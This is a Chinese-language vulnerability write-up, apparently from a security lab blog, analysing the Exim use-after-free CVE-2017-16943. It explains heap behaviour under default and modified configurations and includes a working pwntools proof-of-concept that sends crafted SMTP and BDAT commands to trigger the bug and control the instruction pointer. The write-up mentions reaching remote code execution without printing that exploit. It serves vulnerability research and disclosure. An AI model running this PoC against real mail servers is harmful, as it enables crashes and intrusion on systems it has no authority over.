CVE-2017-16943 Exim UAF漏洞分析--后续

作者:Hcamael@知道创宇404实验室

上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后的结论应该改成,在默认配置情况下,meh提供的PoC无法成功触发uaf漏洞。之后我又对为啥修改了配置后能触发和默认情况下如何触发漏洞进行了研究。

重新复现漏洞

比上一篇分析中复现的步骤,只需要多一步,注释了 /usr/exim/configure 文件中的 control = dkim_disable_verify 然后调整下poc的padding,就可以成功触发UAF漏洞,控制rip

分析特殊配置下的触发流程

在代码中有一个变量是 dkim_disable_verify , 在设置后会变成 true ,所以注释掉的情况下,就为默认值 false , 然后再看看 receive.c 中的代码:

BOOL receive_msg(BOOL extract_recip) { ...... 1733:if (smtp_input && !smtp_batched_input && !dkim_disable_verify) 1734: dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED); 1735:#endif

进入了 dkim_exim_verify_init 函数,之后的大致流程:

dkim_exim_verify_init -> pdkim_init_verify -> ctx->linebuf = store_get(PDKIM_MAX_BODY_LINE_LEN); bdat_getc -> smtp_getc -> smtp_refill -> dkim_exim_verify_feed -> pdkim_feed -> string_catn -> string_get -> store_get(0x64) #define PDKIM_MAX_BODY_LINE_LEN 16384 //0x4000

在上一篇文章中说过了,无法成功触发uaf漏洞的原因是,被free的堆处于堆顶,释放后就和top chunk合并了。 在注释了dkim的配置后,在 dkim_exim_verify_init 函数的流程中,执行了一个 store_get 函数,申请了一个0x4000大小的堆,然后在 dkim_exim_verify_init 函数和 dkim_exim_verify_feed 函数中,都有如下的代码:

store_pool = POOL_PERM; ...... store_pool = dkim_verify_oldpool; --------------- enum { POOL_MAIN, POOL_PERM, POOL_SEARCH };

store_pool全局变量被修改为了1,之前说过了,exim自己实现了一套堆管理,当 store_pool 不同时,相当于对堆进行了隔离,不会影响 receive_msg 函数中使用堆管理时的 current_block 这类的堆管理全局变量 当dkim相关的代码执行结束后,还把 store_pool 恢复回去了 因为申请了一个0x4000大小的堆,大于0x2000,所以申请之后 yield_length 全局变量的值变为了0,导致了之后 store_get(0x64) 再次申请了一块堆,所以有了两块堆放在了heap1的上面,释放heap1后,heap1被放入了unsortbin,成功触发了uaf漏洞,造成crash。(之前的文章中都有写到)

默认配置情况下复现漏洞

在特殊配置情况下复现了漏洞后,又进行了如果在默认配置情况下触发漏洞的研究。 在@explorer大佬的教导下,发现了一种在默认情况下触发漏洞的情况。 其实触发的关键点,就是想办法在heap1上面再malloc一个堆,现在我们从头来开始分析

// daemon.c 137 static void 138 handle_smtp_call(int *listen_sockets, int listen_socket_count, 139 int accept_socket, struct sockaddr *accepted) 140 { ...... 348 pid = fork(); 352 if (pid == 0) 353 { ...... 504 if ((rc = smtp_setup_msg()) > 0) 505 { 506 BOOL ok = receive_msg(FALSE); ......

首先,当有新连接进来的时候,fork一个子进程,然后进入上面代码中的那个分支, smtp_setup_msg 函数是用来接收命令的函数,我们先发一堆无效的命令过去(padding),控制 yield_length 的值小于0x100,目的上一篇文章说过了,因为命令无效,流程再一次进入了 smtp_setup_msg 这时候我们发送一个命令 BDAT 16356 然后有几个比较重要的操作:

5085 if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1) 5093 chunking_data_left = chunking_datasize; 5100 lwr_receive_getc = receive_getc; 5101 lwr_receive_getbuf = receive_getbuf; 5102 lwr_receive_ungetc = receive_ungetc; 5104 receive_getc = bdat_getc; 5105 receive_ungetc = bdat_ungetc;

首先是把输入的16356赋值给 chunking_data_left 然后把 receive_getc 换成 bdat_getc 函数 再做完这些的操作后,进入了 receive_msg 函数,按照上篇文章的流程差不多,显示申请了一个0x100的heap1 然后进入 receive_getc=bdat_getc 读取数据:

534 int 535 bdat_getc(unsigned lim) 536 { ...... 546 if (chunking_data_left > 0) 547 return lwr_receive_getc(chunking_data_left--);

lwr_receive_getc=smtp_getc 通过该函数获取16356个字符串 首先,我们发送16352个a作为padding,然后执行了下面这流程: * store_extend return 0 -> store_get -> store_release 先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1 然后发送 :\r\n ,进入下面的代码分支:

1902 if (ch == '\r') 1903 { 1904 ch = (receive_getc)(GETC_BUFFER_UNLIMITED); 1905 if (ch == '\n') 1906 { 1907 if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = TRUE; 1908 goto EOL; 1909 }

跳到了EOL,最重要的是最后几行代码:

2215 header_size = 256; 2216 next = store_get(sizeof(header_line)); 2217 next->text = store_get(header_size); 2218 ptr = 0; 2219 had_zero = 0; 2220 prevlines_length = 0; 2221 } /* Continue, starting to read the next header */

把一些变量重新进行了初始化,因为之前因为padding执行了 store_get(0x4000) ,所以这个时候 yield_length=0 这个时候再次调用store_get将会申请一个0x2000大小堆,从unsortbin中发现heap1大小正好合适,所以这个时候得到的就是heap1,在heap1的顶上有一个之前 next->text 使用,大小0x4010,未释放的堆。 之后流程的原理其实跟之前的差不多,PoC如下:

r = remote('localhost', 25) r.recvline() r.sendline("EHLO test") r.recvuntil("250 HELP") r.sendline("MAIL FROM:<test@localhost>") r.recvline() r.sendline("RCPT TO:<test@localhost>") r.recvline() # raw_input() r.sendline('a'*0x1300+'\x7f') # raw_input() r.recvuntil('command') r.sendline('BDAT 16356') r.sendline("a"*16352+':\r') r.sendline('aBDAT \x7f') s = 'a'*6 + p64(0xabcdef)*(0x1e00/8) r.send(s+ ':\r\n') r.recvuntil('command') #raw_input() r.send('\n')

exp

根据该CVE作者发的文章,得知是利用文件IO的fflush来控制第一个参数,然后通过堆喷和内存枚举来来伪造vtable,最后跳转到 expand_string 函数来执行命令,正好我最近也在研究ctf中的 _IO_FILE 的相关利用(之后应该会写几篇这方面相关的blog),然后实现了RCE,结果图如下:

参 考 链 接

[1] https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/

原文发布于微信公众号 - Seebug漏洞平台(seebug_org)

原文发表时间:2017-12-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏安富莱嵌入式技术分享

【RL-TCPnet网络教程】第30章 RL-TCPnet之SNTP网络时间获取

本章节为大家讲解RL-TCPnet的SNTP应用,学习本章节前,务必要优先学习第29章的NTP基础知识。有了这些基础知识之后,再搞本章节会有事半功倍的效果。

1122
来自专栏熊二哥

快速入门系列--WCF--01基础概念

转眼微软的WCF已走过十个年头,它是微软通信框架的集大成者,将之前微软所有的通信框架进行了整合,提供了统一的应用方式。记得从自己最开始做MFC时,就使用过Nam...

22310
来自专栏IT技术精选文摘

分布式事务原理与实践

事务简介 事务的核心是锁和并发,采用同步控制的方式保证并发的情况下性能尽可能高,且容易理解。这种方式的优势是方便理解;它的劣势是性能比较低。 计算机可以简单的理...

18810
来自专栏安恒网络空间安全讲武堂

Amazing phpinfo()

前记 Xdebug 前记 定义 开启Xdebug 适用目标 实验效果 注意事项 session.upload_progress 定义 开启session.upl...

3566
来自专栏java学习

Hibernate学习笔记1

Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hi...

1366
来自专栏Seebug漏洞平台

CVE-2017-16943 Exim UAF漏洞分析——后续

上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后的结论应该改成,在默认配置情况下,meh提供...

4218
来自专栏java达人

Kafka漫游记

我是一条消息,从我被生产者发布到topic的时候,我就清楚自己的使命:被消费者获取消费。但我一直很纳闷,把我直接推送给消费者不就行了,为什么一定要先推送到类似队...

2557
来自专栏Golang语言社区

【Go 语言社区】Web 通信 之 长连接、长轮询(long polling)--转

基于HTTP的长连接,是一种通过长轮询方式实现"服务器推"的技术,它弥补了HTTP简单的请求应答模式的不足,极大地增强了程序的实时性和交互性。 一、什么是长连接...

1.1K3
来自专栏数据之美

Zookeeper 原理与实践

1、Zookeeper 的由来 在Hadoop生态系统中,许多项目的Logo都采用了动物,比如 Hadoop 和 Hive 采用了大象的形象,HBase 采用了...

7748
来自专栏向治洪

百度地图android studio导入开发插件

百度地图SDK v3.5.0开发包下载地址:http://lbsyun.baidu.com/sdk/download?selected=location 开...

1.1K8

扫码关注云+社区

领取腾讯云代金券